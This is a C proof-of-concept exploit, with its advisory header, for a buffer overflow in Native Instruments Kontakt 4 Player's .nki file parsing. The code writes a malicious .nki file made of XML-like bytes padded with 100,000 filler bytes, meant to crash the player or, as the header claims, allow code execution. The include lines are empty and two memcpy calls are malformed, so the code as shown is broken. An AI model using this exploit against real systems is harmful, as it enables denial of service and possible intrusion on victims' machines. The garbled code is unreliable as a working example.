/* Title: Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow PoC Vendor: Native Instruments GmbH Product web page: http://www.native-instruments.com Affected version: 4.1.3.4125 (Standalone) Summary: KONTAKT 4 PLAYER is the free sample player based on award-winning KONTAKT technology. Expanding the capabilities of its successful predecessor, the free KONTAKT 4 PLAYER allows for innovative, highly playable instruments leaving technological and musical limitations behind. Desc: Kontakt Player 4 suffers from a buffer overflow vulnerability when parsing ".nki" files. The application fails in boundry checking of the user input resulting in a crash. The attacker can leverage from this scenario to exectute arbitrary code on the affected system. Failed attempts will result in denial of service. Tested on: Microsoft Windows XP Professional SP3 (English) Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Advisory ID: ZSL-2010-4979 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4979.php 17.11.2010 */ #include #include #include #include #define FN "Vaya_con_Dios.nki" #define PSIZE 102556 void banner(void); FILE *fp; void banner() { printf("\n"); printf("------------------------------------------------------------\n\n"); printf("Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow\n\n"); printf("\tCopyleft (c) 2010. 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0x3C, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3E, 0x4B, 0x6F, 0x6E, 0x74, 0x61, 0x6B, 0x74, 0x49, 0x6E, 0x73, 0x74, 0x72, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x3C, 0x2F, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x3C, 0x2F, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x73, 0x3E, 0x0A, 0x0A, 0x3C, 0x2F, 0x73, 0x6F, 0x75, 0x6E, 0x64, 0x69, 0x6E, 0x66, 0x6F, 0x3E, 0x0A }; int main(int argc, char *argv[]) { banner(); char payload[PSIZE]; char input[100000]; memset(input,0x4A,100000); memcpy(payload,starter,strlen(starter)); memcpy(payload+strlen(starter),input,strlen(input)); memcpy(payload+strlen(starter)+strlen(input)+body,strlen(body)); memcpy(payload+strlen(starter)+strlen(input)+strlen(body)+tail,strlen(tail)); fp = fopen(FN,"wb"); if(fp==NULL) { perror ("Oops! Can't open file.\n"); } fwrite(payload,1,sizeof(payload),fp); fclose(fp); sleep(1); printf("\nDone!\n"); printf("File %s created!\n", FN); return 0; }